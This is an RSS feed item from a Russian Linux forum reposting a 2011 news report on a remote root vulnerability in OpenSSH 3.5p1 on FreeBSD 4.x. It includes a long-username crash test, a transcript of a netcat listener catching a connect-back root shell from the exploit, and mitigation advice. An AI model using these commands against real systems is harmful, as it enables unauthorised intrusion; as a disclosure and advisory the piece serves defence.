<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title><![CDATA[Linux Forum &mdash; В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена root-уязвимость]]></title>
		<link>https://linuxforum.ru/viewtopic.php?id=14814</link>
		<atom:link href="https://linuxforum.ru/extern.php?action=feed&amp;tid=14814&amp;type=rss" rel="self" type="application/rss+xml" />
		<description><![CDATA[Недавние сообщения в теме «В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена root-уязвимость».]]></description>
		<lastBuildDate>Fri, 01 Jul 2011 05:19:33 +0000</lastBuildDate>
		<generator>PunBB</generator>
		<item>
			<title><![CDATA[В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена root-уязвимость]]></title>
			<link>https://linuxforum.ru/viewtopic.php?pid=191936#p191936</link>
			<description><![CDATA[<p><strong>В OpenSSH 3.5p1 из состава FreeBSD 4.x найдена удаленная root-уязвимость</strong></p><p>В списке рассылки full-disclosure <a href="http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20110630/fcd34bf6/attachment.obj"> представлена</a> критическая уязвимость в используемой во FreeBSD 4.x версии OpenSSH, позволяющая удаленному злоумышленнику без аутентификации получить root-доступ к системе. Уже создан и публично опубликован эксплоит, позволяющий получить привилегированный shell на подверженных уязвимости серверах.</p><p>Уязвимость проявляется для протоколов SSH1 и SSH2. Проблема вызвана ошибкой в реализации аутентификации с использованием&nbsp; PAM на платформе FreeBSD. Проблема присутствует в функции &quot;pam_thread()&quot; из файла&nbsp; auth2-pam-freebsd.c. Начиная с версии FreeBSD 5.2 содержащий уязвимость файл <a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c"> auth2-pam-freebsd.c</a> был заменен новой реализацией, т.е. с большой долей вероятности можно утверждать, что новые версии FreeBSD проблеме не подвержены. 100% уверенности&nbsp; пока нет, так как точно не ясно, не перекочевал ли проблемный код в какие-либо библиотеки PAM или сторонние реализации OpenSSH, используемые и поныне. Детальный аудит ещё предстоит провести.</p><p>Ошибка проявляется при передаче слишком длинного имени пользователя. Простой способ проверить наличие уязвимости - попытаться обратиться к своему серверу, указав логин порядка 100 символов. Например: &quot;ssh -l`perl -e &#039;print &quot;A&quot; x 100&#039;` хост&quot;, в случае проблемы, можно наблюдать крах рабочего процесса sshd&nbsp; и вывод в лог /var/log/messages сообщения &quot;/kernel: pid N (sshd), uid 0: exited on signal 11 (core dumped)&quot;. Изучение core-дампа показало, что проблема подвержена эксплуатации, так как атакующий может контролировать указатель перехода и позиционировать его на shellcode. Прототип рабочего эксплоита был успешно создан путем небольшой модификации кода ssh-клиента из пакета OpenSSH 5.8p2.<br /></p><div class="codebox"><pre><code>   $ ./ssh -1 192.168.1.1
   $ nc -v -l -p 10000
   listening on [any] 10000 ...
   192.168.1.1: inverse host lookup failed: Unknown host
   connect to [192.168.1.2] from (UNKNOWN) [192.168.1.1] 1038
   
   uname -a
   
   FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005  /GENERIC  i386

   id

   uid=0(root) gid=0(wheel) groups=0(wheel)</code></pre></div><p>Поддержка ветки FreeBSD 4.x прекращена ещё в 2007 году, но данная версия все еще используется на некоторых серверах в сети. Пользователям версии FreeBSD 4.x рекомендуется срочно обновить OpenSSH до более новой версии. В качестве обходного пути решения проблемы следует разрешить через пакетный фильтр доступ по SSH только для доверенных хостов и <a href="http://lists.freebsd.org/pipermail/freebsd-security/2011-June/005945.html"> отключить</a> поддержку PAM, указав в настройках &quot;ChallengeResponseAuthentication no&quot;.&nbsp; Информации о возможности поражения других операционных систем, использующих устаревшие версии OpenSSH с реализацией поддержки PAM от проекта FreeBSD, пока нет.</p><p>Источник — <a href="http://www.opennet.ru/opennews/art.shtml?num=31053">http://www.opennet.ru/opennews/art.shtml?num=31053</a><br />Главная ссылка к новости — <a href="http://lists.grok.org.uk/pipermail/full-disclosure/2011-June/081722.html">http://lists.grok.org.uk/pipermail/full … 81722.html</a></p>]]></description>
			<author><![CDATA[null@example.com (Lupo Alberto)]]></author>
			<pubDate>Fri, 01 Jul 2011 05:19:33 +0000</pubDate>
			<guid>https://linuxforum.ru/viewtopic.php?pid=191936#p191936</guid>
		</item>
	</channel>
</rss>
